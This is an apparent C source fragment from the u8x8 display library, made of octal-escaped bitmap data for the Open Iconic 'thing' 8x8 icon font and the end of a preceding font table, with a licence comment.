"\0\0\0\0\0\0\0\0\0\0\300\340\370\374\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\300\360\370\376\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\1\3\17\37\177\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\7\37\77\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_thing_8x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 19/19 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_thing_8x8[9732] U8X8_FONT_SECTION("u8x8_font_open_iconic_thing_8x8") = "@R\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370" "\374\376\377\377\377\377\376\374\370\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\377\377\377\377\377" "\77\37\17\7\7\17\37\77\377\377\377\377\377\376\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\376\377\377\377\377\177\77\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\1\3\7\17\77\177\377\377\377\377\377\374\370\360\340\300\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\3\1\0\0\0\0\1\3\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\3\1\0\0\0\0\1\3\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\300\200\0\0\0\0\200\300\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\300\200\0\0\0\0\200\300\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\177\77\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\360\360\370\374\374\376\376\376\376\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\360\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\376" "\377\377\377\377\377\377\377\377\377\377\377\377\37\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\370\340\300\200\200\0\0\0\0\0\0\200\200\300\340\370\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\77\17\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\17\17\7\3\1" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376" "\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\376\377\377\377\377\377\377\37\7\3\1" "\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377\377\377\376\360\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\340\360\370\370\374\376\376\376\377\377\377\377\377\377\377\377\376\376\374\374\370\370\360\340\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377" "\377\177\77\37\17\7\3\1\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377\377\377\374\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\177\77\37\17\7\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\377\377\377\377\377\377\77\7\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\374\376\377\377\377\377\377\177\77\37\17\7\203\301\340\360\370\374\376\374\370\360" "\340\300\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\177\77\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\300\374\377\377\377\377\377\377\77\17\3\1\0\0\300\370\374\377\377\377\377\377\177\77\37\17\7\3" "\201\300\340\360\370\374\376\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\377\377\377\377\377\377\377\300\0\0\0\0\0\3\17\77\177\377\377\377\377\376\374\374\374\376\377" "\377\377\177\77\77\37\17\7\203\301\340\360\370\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\3\17\77\177\377\377\377\377\376\374\360\340\340\300\200\200\200\0\0\1\1\3\3\3\3\201\201" "\201\300\340\340\370\374\376\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\3\7\17\37\37\77\77\177\177\177\177\377\377\377\377\377\377\377\377\177\177" "\177\177\77\77\37\37\17\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\376" "\376\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\377\377\377\377\377\377\377\377\377\377" "\377\377\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\374\374\374\376\376\377\377\377\377\377\376" "\376\374\370\340\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\77\77\77\177\177\377\377\377\377\377\177" "\177\77\37\7\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\37\7\3\1\1\0\0\0\0\0\0\1" "\1\3\7\37\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\360\0\0\0\0\0\0\0\0\0\0" "\0\0\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\360\360\370\374\374\376\377" "\376\374\70\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370\370\374\376\376\377\377\377\377\377\377\377\377\177\37\17\7" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\300\340\340\360\370\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\17\7\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\3\3\7\7\17\37\77\177\377\377\377\377\377\377\377\377\377\77\37\17\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\376\376\377\377\377\377\377\377\377\376\376\374" "\370\360\340\200\0\0\0\0\0\3\17\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\60\60x|~\177\377\377\377\377\377\377\377\377\177\177\177\77\77\77\37\17\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\374\376\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\360\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\360\300\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\376\377\377\377\377\377\377\377\177\77\77\77\77\177\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\377\377\377\377\377\377\377\300\0\0\0\0\0\0\0\17\77\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\377\377\374\360\340\300\200\200\0\0\0\0" "\1\1\3\3\3\3\7\17\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\17\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\77\177\177\377\377\377\377\376\376" "\376\374\374\374\374\376\376\377\377\377\377\377\377\377\177\177\77\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\370\374\374\374\376\376\376\376\377\377\377\377\377" "\377\377\377\377\377\377\376\376\376\374\374\374\370\370\360\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\177\77\37\17\17\7\3\3\1\1\1\1\0\0\0\0" "\0\0\0\0\1\1\1\1\3\3\7\17\17\37\77\177\377\377\377\377\376\374\370\340\300\0\0\0\0\0\0\0" "\0\0\0\0\200\370\377\377\377\377\377\377\177\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\377\377\377\377\370\300\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\1\37\377\377\377\377\377\377\376\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\377\177\37\1\0\0\0\0" "\0\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\376\374\370\360\340\340\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\200\200\200\300\300\340\340\360\370\374\376\377\377\377\377\377\377\377\377\377\374\370\360\340\300\200\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377\377\377\377" "\377\377\377\377\377\177\177\177\177\77\77\77\37\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\374\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\377\377\377\377\377\377\377" "\177\177\77\17\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\37\17\17" "\17\17\37\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\370\360\360" "\360\360\370\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\374\376\376\377\377\377" "\377\377\377\376\376\374\374\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 